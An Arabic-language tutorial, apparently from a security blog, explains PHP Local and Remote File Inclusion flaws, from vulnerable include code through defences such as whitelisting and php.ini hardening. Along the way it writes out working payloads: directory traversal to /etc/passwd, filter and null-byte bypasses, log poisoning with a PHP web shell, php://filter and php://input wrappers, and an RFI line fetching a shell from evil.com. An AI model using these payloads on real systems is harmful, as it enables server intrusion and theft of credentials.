![]() |
شرح ثغرات File Inclusion |
شرح ثغرات File Inclusion: دليلك الكامل لاختراق السيرفر
في المقالات اللي فاتت، اتكلمنا عن إزاي الهاكر ممكن يسرق بيانات اليوزر
بـ [XSS](رابط مقال XSS)،
أو يتحكم في حسابه بـ [IDOR](رابط مقال IDOR)،
أو حتى يجبره ينفذ أوامر من غير ما يعرف بـ [CSRF](رابط مقال CSRF).
كل ده عظيم، لكنه في الأغلب بيستهدف الـ User نفسه.
النهاردة، إحنا هنعلي الليفل خالص. هنتكلم عن ثغرة بتدي للمهاجم مفتاح "الأوضة الضلمة" في السيرفر. تخيل إنك لقيت طريقة تخلي
موقع فيسبوك يعرضلك ملف config.php
بتاعه اللي فيه باسووردات قواعد البيانات! دي القوة المدمرة لثغرة File
.
Inclusion
الجزء الأول: يعني إيه File Inclusion أصلاً؟
ببساطة، المطورين الكبار بيحبوا ينظموا الكود بتاعهم. بدل ما يكتب كود الموقع كله في ملف واحد 10 آلاف سطر، بيقسموه لملفات
صغيرة. ملف للـ header
، وملف للـ footer
، وملف للاتصال بقاعدة البيانات، وهكذا.
وبعدين، في الصفحة الرئيسية، بيستخدموا أوامر زي include
أو require
في لغة PHP
عشان يجمعوا الأجزاء دي زي البازل.
الكود الآمن (اللي المطور عايزه):
<?php
include 'header.php';
include 'main_content.php';
include 'footer.php';
?>
المشكلة بتبدأ لما المطور بيقرر يخلي اسم الملف ده ييجي من الـ User
عشان يخلي الموقع Dynamic
.
الكود المصاب (الكارثة):
<?php
$file = $_GET['page']; // بياخد اسم الملف من اليوزر
include $file; // بيستدعي الملف ده
?>
هنا المطور فتح باب جهنم على نفسه. هو كان فاكر إن اليوزر هيدخل page=about.php
أو page=contact.php
، لكنه معرفش إن المهاجم هيدخل حاجة تانية خالص.
الجزء الثاني: تشبيه "موظف الأرشيف الساذج"
عشان تفهمها، تخيل إن السيرفر ده مبنى أرشيف ضخم، والمطور عين موظف ساذج (هو كود الـ include
). الموظف ده مبرمج
على حاجة واحدة: ياخد اسم الملف منك ويروح يجيبهولك.
الـ User العادي: بيقوله "لو سمحت، هات ملف
contact.php
من (قسم الصفحات)". الموظف بيروح يجيبه.المهاجم (الـ Attacker): بيستغل سذاجة الموظف ويقوله: "لو سمحت، سيبك من (قسم الصفحات) خالص، واطلع 3 أدوار فوق، وادخل مكتب المدير، وافتح الخزنة، وهاتلي ملف (أسرار الشركة) اللي جواها".
بما إن الموظف مبرمج ينفذ الاسم اللي بياخده، هينفذ كلام المهاجم بالظبط. هو ده الـ File Inclusion
.
الجزء الثالث: LFI vs RFI (الفرق بين الاختراق المحلي والريموت)
الثغرة دي ليها وشين، واحد خطير، والتاني "أكتر خطورة بكتير":
الميزة | LFI (Local File Inclusion) | RFI (Remote File Inclusion) |
المعنى | تضمين ملف محلي (موجود على نفس السيرفر). | تضمين ملف عن بعد (موجود على سيرفر تاني). |
الهدف الأساسي | قراءة ملفات حساسة من السيرفر. | تنفيذ كود عن بعد (RCE ). |
الخطورة | عالية جدًا (High). | حرجة جدًا (Critical). |
مثال الـPayload |
| page.php?file=http://evil.com/shell.txt |
شرط الحدوث | الكود بيستدعي ملف من غير فلترة. | الكود بيستدعي ملف + خاصيةallow_url_include مفتوحة في PHP . |
الجزء الرابع: الصيد - إزاي تكتشف LFI؟
أول حاجة بتدور عليها هي الـ Parameters
اللي في الـ URL
واللي شكلها بيستدعي ملفات. دور على أي حاجة زي:
?page=
?file=
?include=
?document=
?path=
?view=
لقيت واحد؟ حلو. ابدأ الاختبار. إزاي تخلي الموظف الساذج يطلع بره "قسم الصفحات"؟ باستخدام Directory Traversal
أو
../
(dot-dot-slash).
في أنظمة الملفات، .. (نقطتين) معناها "ارجع خطوة لورا (للفولدر الأب)".
لو الـ URL كده:
example.com/page.php?file=news.php
ده معناه إن ملف news.php موجود جوه فولدر معين (مثلاً /var/www/html/pages/).
عشان أرجع لـ "جذر" السيرفر، لازم أرجع لورا كذا مرة.
الـ Payload الكلاسيكي:
?file=../../../../../../../../etc/passwd
ليه بنكرر
../
كتير؟ لأني معرفش أنا عميق قد إيه جوه الفولدرات، فبكررها كتير عشان أضمن إني وصلت للـRoot
(جذر السيرفر).إيه ملف
etc/passwd
؟ ده ملف مشهور جدًا في أنظمةLinux
بيبقى فيه قايمة بكل اليوزرات على السيرفر. لو
قدرت تقراه، دي أول علامة إنك نجحت.
الجزء الخامس: ملفات لازم تدور عليها (Juicy Files)
لو قريت etc/passwd
، مبروك. الخطوة الجاية إنك تدور على حاجات أهم. دي قايمة بملفات "عصارية" (مليانة معلومات
حساسة) تدور عليها:
لو السيرفر Linux:
/etc/passwd
: (أسماء اليوزرات)./etc/shadow
: (فيه الـHashes
بتاعة الباسوردات، غالبًا مش هتقدر تقراه بس لازم تجرب)./var/log/apache2/access.log
: (ملف اللوجات بتاعة السيرفر، هنرجعله ده)./proc/self/environ
: (ملفات البيئة بتاعة السيرفر)./var/www/html/config.php
: (أو أي ملف فيهconfig
أوdb
، ده ممكن تلاقي فيه باسوورد قاعدة البيانات).
لو السيرفر Windows:
C:\Windows\System32\drivers\etc\hosts
: (ملف الـhosts
).C:\boot.ini
: (ملف إقلاع الويندوز)
.C:\Windows\win.ini
: (ملف إعدادات قديم).
الجزء السادس: خداع الفلاتر - إزاي تتجاوز حماية المطور؟
ساعات المطور بيكون ذكي شوية وبيحاول يحط فلاتر. بس المهاجم أذكى.
السيناريو الأول: المطور بيحذف ../
المطور بيستخدم كود زي: str_replace("../", "", $_GET['file']);
الخدعة (Filter Bypass): المطور بينضف الـ
Payload
مرة واحدة بس. المهاجم بيستغل ده ويبعتPayload
مزدوج:....//
إزاي بتشتغل؟ الفلتر بيشوف أول
../
ويحذفها، فيتبقاله../
. يا سيدي!الـ
Payload
النهائي:?file=....//....//....//etc/passwd
السيناريو التاني: المطور بيضيف .php
في الآخر
ده عشان يجبرك تستدعي ملفات PHP بس. لو حاولت تطلب etc/passwd، الكود هيحولها لـ etc/passwd.php والملف ده مش موجود.
الخدعة (Null Byte Injection): الـ
Null Byte
(اللي هو\0
أو%00
في الـURL
) هو كاركتر خاص
في البرمجة معناه "نهاية السطر".إزاي بتشتغل؟ المهاجم بيبعت
Payload
كده:?file=../../etc/passwd%00
الـ
Payload
النهائي: الكود هياخد الـPayload
ويبقى:include "../../etc/passwd\0" . ".php";
. لما الـ
PHP
ييجي ينفذ، هيقرأ لحد الـNull Byte
ويقف، وهينفذinclude "../../etc/passwd"
ويتجاهل.php
اللي بعدها.ملحوظة: الـ
Null Byte Injection
مبقتش تشتغل في إصداراتPHP
الحديثة (بعد 5.3.4)، لكنها لسه مدمرة في
التطبيقات القديمة.
الجزء السابع: LFI to RCE - فن (Log Poisoning)
طيب، أنا بقدر أقرا ملفات بس (LFI)، ومفيش RFI. إزاي أوصل لـ RCE (تنفيذ أوامر)؟
هنا بتيجي تقنية عبقرية اسمها Log Poisoning.
الفكرة: أنا مقدرش أرفع ملفاتي على السيرفر، بس أنا أعرف ملف على السيرفر "أنا أقدر أكتب جواه". إيه هو؟ ملفات اللوج (Logs).
سيرفر الويب بيسجل كل طلب بيجيله في ملف access.log، بما في ذلك الـ User-Agent (نوع متصفحك).
خطوات الهجوم:
حقن الـ
Payload
: المهاجم بيبعت طلب عادي للسيرفر، بس بيلعب في الـUser-Agent
بتاعه ويحط جواه كود
PHP
خبيث.بيستخدم أداة زي Burp Suite ويبعت طلب الـ User-Agent بتاعه كده:
<?php system($_GET['cmd']); ?>
التسميم: السيرفر، بمنتهى البراءة، هياخد الـ
User-Agent
ده ويسجله جوه ملفaccess.log
. كده أنا نجحت إني
"أسمم" ملف اللوج بالكود بتاعي.التنفيذ: المهاجم بيرجع لثغرة LFI بتاعته، وبدل ما يطلب etc/passwd، بيطلب ملف اللوج:
?file=../../../../var/log/apache2/access.log
(RCE) السيرفر هيعمل include لملف اللوج، هيلاقي كود الـ PHP اللي أنا زرعته، وهينفذه. الكود ده
(system($_GET['cmd'])) هو Web Shell بسيط جدًا بيسمحلي أنفذ أي أمر على السيرفر عن طريق URL.?file=.../access.log&cmd=ls -la (عشان يعرض كل الملفات).
الجزء الثامن: LFI to RCE (جزء 2) - سحر الـ PHP Wrappers
PHP
فيه خواص قوية جدًا اسمها Wrappers
، لو المطور نسي يقفلها، بتفتح أبواب خلفية مرعبة.
القنبلة: php://filter
دي أهم واحدة. ساعات بتحاول تقرا ملف config.php
بـ LFI
، بس مش بيظهر حاجة. ليه؟ لأن السيرفر بينفذه مش بيعرضه.
الحل: استخدم
php://filter
عشان تقول للسيرفر: "متنفذش الملف ده، اعرضهولي بس بعد ما تحوله لـBase64
".الـ Payload:
?file=php://filter/convert.base64-encode/resource=config.php
النتيجة: السيرفر هيعرضلك محتويات ملف
config.php
كلها كـBase64
، تاخدها وتفك تشفيرها وتلاقي باسوورد
الداتابيز.
php://input
ده بيسمحلك تقرا الـ Body
بتاع طلب POST
.
إزاي؟ المهاجم بيبعت طلب
POST
لـ?file=php://input
، وبيحط كود الـPHP
الخبيث بتاعه في الـBody
بتاع الطلب. السيرفر هيعملinclude
للـBody
ده وينفذه.
الجزء التاسع: الوحش الأكبر - Remote File Inclusion (RFI)
ده النوع اللي اتكلمنا عنه في الأول، وهو نادر لكنه مدمر. بيحصل بس لو خاصية allow_url_include متفعلة في PHP (الوضع الافتراضي بتاعها Off لسوء الحظ😂).
لو الخاصية دي مفتوحة، المهاجم مش محتاج كل اللف والدوران بتاع Log Poisoning.
الاستغلال:
المهاجم بيرفع
Web Shell
بسيط على أي سيرفر هو بيتحكم فيه (مثلاًhttp://evil.com/shell.txt
).بيروح للثغرة وينادي الـ Shell ده مباشرة:
?file=http://evil.com/shell.txt
السيرفر الضحية هيروح يجيب الملف ده وينفذه عنده.
النتيجة:
RCE
مباشر وسيطرة كاملة على السيرفر في خطوة واحدة.
الجزء العاشر: بناء القلعة (الدفاع والحماية)
بعد كل الرعب ده، إزاي المطور يحمي نفسه؟
القاعدة الذهبية: Whitelist, Don't Blacklist
غلط (Blacklist): إنك تحاول تمنع
../
وhttp://
. المهاجم دايما هيلاقي طريقة يتجاوزك.صح (Whitelist): إنك تعمل قايمة بالملفات المسموح بيها بس، وترفض أي حاجة غيرها.
الكود الآمن:
$allowed_pages = [
'home' => 'pages/home.php',
'contact' => 'pages/contact.php',
'about' => 'pages/about.php'
];
$page = $_GET['page'];
if (array_key_exists($page, $allowed_pages)) {
include $allowed_pages[$page];
} else {
include 'pages/404.php'; // لو الملف مش في القايمة
}
?>
تعطيل الخواص الخطرة: في ملف
php.ini
، اتأكد إن الإعدادات دي مقفولة:allow_url_include = Off
(لمنعRFI
).allow_url_fopen = Off
(لمنع الوصول للـURL
كملفات).
صلاحيات السيرفر: متخليش سيرفر الويب شغال بصلاحيات
root
. شغله بـUser
صلاحياته محدودة (زيwww-
) عشان حتى لو حصل
dataLFI
، المهاجم ميقدرش يقرا ملفات حساسة زيetc/shadow
.
ثغراتFile Inclusion
هي بوابة خلفية بتدي للمهاجم وصول مباشر لقلب السيرفر. هي بتوضح إن الثقة العمياء في أي حاجة
جاية من اليوزر هي بداية الكارثة.
في دليلنا القادم، هنكمل في نفس سكة اختراق السيرفر وهنتكلم عن ثغرة Command Injection
، اللي بتخليك تكتب أوامر Linux
مباشرة في الـ URL
وتنفذها. استعد
والآن دورك، شاركنا في التعليقات: إيه أكتر تقنية خوفتك في المقال ده، الـ Log Poisoning
ولا php://filter
؟